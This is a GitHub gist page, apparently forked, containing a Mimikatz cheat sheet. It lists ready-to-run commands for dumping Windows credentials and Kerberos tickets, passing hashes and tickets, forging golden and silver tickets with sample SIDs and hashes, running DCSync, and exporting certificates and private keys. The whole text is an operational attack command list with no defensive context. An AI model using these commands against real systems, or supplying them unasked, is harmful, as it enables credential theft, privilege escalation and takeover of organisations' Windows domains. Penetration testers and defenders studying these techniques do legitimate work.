Skip to content

Instantly share code, notes, and snippets.

@54N4L

54N4L/Mimikatz-cheatsheet

Forked from insi2304/Mimikatz-cheatsheet
Created March 10, 2023 04:43
Show Gist options
  • Save 54N4L/e481b0b8877c5b1067b8bd73fdf53ea6 to your computer and use it in GitHub Desktop.
Save 54N4L/e481b0b8877c5b1067b8bd73fdf53ea6 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @insi2304 insi2304 created this gist Jul 23, 2020.
    66 changes: 66 additions & 0 deletions Mimikatz-cheatsheet
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,66 @@

    #general
    privilege::debug
    log
    log customlogfilename.log


    #sekurlsa
    sekurlsa::logonpasswords
    sekurlsa::logonPasswords full
    sekurlsa::tickets /export
    sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

    #kerberos
    kerberos::list /export
    kerberos::ptt c:\chocolate.kirbi
    kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

    #crypto
    crypto::capi
    crypto::cng
    crypto::certificates /export
    crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
    crypto::keys /export
    crypto::keys /machine /export

    #vault & lsadump
    vault::cred
    vault::list
    token::elevate
    vault::cred
    vault::list
    lsadump::sam
    lsadump::secrets
    lsadump::cache
    token::revert
    lsadump::dcsync /user:domain\krbtgt /domain:lab.local

    #pth
    sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
    sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
    sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
    sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe

    #ekeys
    sekurlsa::ekeys

    #dpapi
    sekurlsa::dpapi

    #minidump
    sekurlsa::minidump lsass.dmp

    #ptt
    kerberos::ptt [email protected]

    #golden/silver
    kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
    kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080
    kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi

    #tgt
    kerberos::tgt

    #purge
    kerberos::purge